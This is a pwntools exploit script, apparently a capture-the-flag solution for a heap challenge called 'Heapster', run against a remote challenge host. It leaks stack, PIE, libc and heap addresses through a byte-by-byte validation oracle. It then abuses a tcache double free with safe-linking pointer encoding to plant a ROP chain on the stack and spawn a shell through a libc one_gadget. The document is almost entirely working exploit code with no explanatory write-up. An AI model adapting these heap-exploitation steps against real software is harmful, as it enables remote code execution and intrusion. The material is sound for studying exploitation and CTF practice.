SCTF 2023 - Heapster

from pwn import *
import struct

# context.log_level = 'debug'

libc_one_gadget = 0xebcf8
libc_pop_rsi = 0x000000000002be51

def conceal_next(pos, ptr):
    return (pos>>12) ^ ptr
def reveal_next(x):
    tmp = x ^ ( (x>>12)&0xfff000000 )
    tmp = x ^ ( (tmp>>12)&0xffffff000 )
    tmp = x ^ ( (tmp>>12) )
    return tmp

def add(index, data):
    p.recvuntil(b'cmd: ')
    p.sendline(b'1')
    p.sendline(str(index).encode())
    p.send(data)
def delete(index):
    p.recvuntil(b'cmd: ')
    p.sendline(b'2')
    p.sendline(str(index).encode())
def print_node():
    p.recvuntil(b'cmd: ')
    p.sendline(b'3')
def validation():
    p.recvuntil(b'cmd: ')
    p.sendline(b'4')

def leak_stack(index):
    add(index, b'a'*8)
    stack_addr = b''
    for _ in range(8):
        for i in range(0x01, 0xff+1):
            add(index, stack_addr + struct.pack("B", i) + b'\n')
            validation()
            result = p.recvuntil(b'.\n')
            if(b'success' in result):
                stack_addr += struct.pack("B", i)
                break
            elif(b'fail' in result):
                continue
            else:
                print("ERROR")
                assert(0)
    add(index, b'\x00')
    return u64(stack_addr.ljust(8, b'\x00'))


######### Open Process and etc. #########
# p = process('./chal')
p = remote('heapster.sstf.site', 31339)
elf = ELF('./chal')
libc = ELF('./libc.so.6')

######### Leak Informations #########
### Leak Stack ###
stack_addr = leak_stack(10) + 8
log.info("STACK : " + hex(stack_addr))
### Leak PIE base ###
# I don't use PIE base address, but I just leak it.
pie_addr = leak_stack(11) - 0x1792
log.info("PIE : " + hex(pie_addr))
### Leak Libc base ###
libc_base = leak_stack(21) - 0x29d90 # __libc_start_call_main+128
log.info("LIBC : " + hex(libc_base))
### Leak Heap ###
# reuse heap used for leak ret and pie.
delete(10)
# now, tcache : 10 || count = 1
delete(11)
# now, tcache : 11 -> 10 || count = 2
print_node()
p.recvuntil(b'->')
heap_addr = reveal_next(u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')))
log.info("HEAP : " + hex(heap_addr))

######### ROP using Double Free #########
### set pop rdi ###
# tcache : 11 -> 10 || count = 2
add(11, b'a'*16)
delete(11)
# now, tcache : 11 -> 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr + 0x20, stack_addr - 0x8)))
# now, tcache : 11 -> (sfp of main) ; 11 || count = 2
add(31, b'a'*16)
# now, tcache : (sfp of main) ; 10 || count = 1
pl = p64(stack_addr + 0x20)
pl += p64(libc_base + libc_pop_rsi)
add(30, pl)
# now, tcache : (null) ; 10 || count = 0
for _ in range(3):
    add(11, b'a'*16)
    delete(11)
# now, tcache : 11 -> 11 -> 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr + 0x20, stack_addr + 0x10 - 0x8)))
# now, tcache : 11 -> (ret+8 of main) ; 10 || count = 2
add(29, b'a'*16)
# now, tcache : (ret+8 of main) ; 10 || count = 1
pl = p64(0)
pl += p64(libc_base + libc_one_gadget)
add(28, pl)

######### Exit main and get shell #########
p.sendline(b'5')

p.interactive()